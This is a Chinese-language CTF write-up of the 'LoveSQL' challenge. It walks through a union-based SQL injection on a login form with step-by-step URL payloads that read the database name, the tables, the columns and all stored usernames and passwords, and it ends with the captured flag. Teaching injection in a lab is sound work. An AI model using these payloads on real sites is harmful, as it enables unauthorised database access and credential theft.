[極客大挑戰 2019]LoveSQL
打開后頁面和easysql一樣,測試了一下注入點:
在username和password都可以注入,並且單引號報錯雙引號不報錯
接下來就是按sql注入的流程操作:
1.測試有多少字段
測試每個字段對應的內容
2.爆出數據庫名
3.爆出數據庫里的表
4.爆出表的列名
5.爆出所有數據
第一步:測試有多少字段
用order by
所以有三個字段
第二步:當前數據庫名
使用聯合查詢,結合第一步查出來的字段數,構造payload:
Payload:?username=1' union select null,null,(select database())%23&password=2
所以數據庫名是geek
第三步:查表名
構造payload:?username=1' union select null,null,(select group_concat(table_name) from information_schema.tables where table_schema='geek')%23&password=2
所以這個數據庫里有兩個表:geekuser,l0ve1ysq1
第四步:查列
有兩個表,所以一個表一個表查
geekuser :
Payload:?username=1' union select null,null,( select group_concat( column_name ) from information_schema.columns where table_name='geekuser')%23&password=2
l0ve1ysq1:
Payload:?username=1' union select null,null,( select group_concat( column_name ) from information_schema.columns where table_name='l0ve1ysq1')%23&password=2
第五步:查數據
也是一個表一個表查:
geekuser
Payload:?username=1' union select null,null,group_concat(id,0x3a,username,0x3a,password) from geek.geekuser%23&password=2
只有一個數據
下一個表
Payload:?username=1' union select null,null,group_concat(id,0x3a,username,0x3a,password) from geek.l0ve1ysq1%23&password=2
這一個表數據很多,把結果復制出來整理可以找到flag
flag{26b7bc65-f891-49d1-94f6-b3ee6266e07c}
BUU使用動態flag,請勿直接復制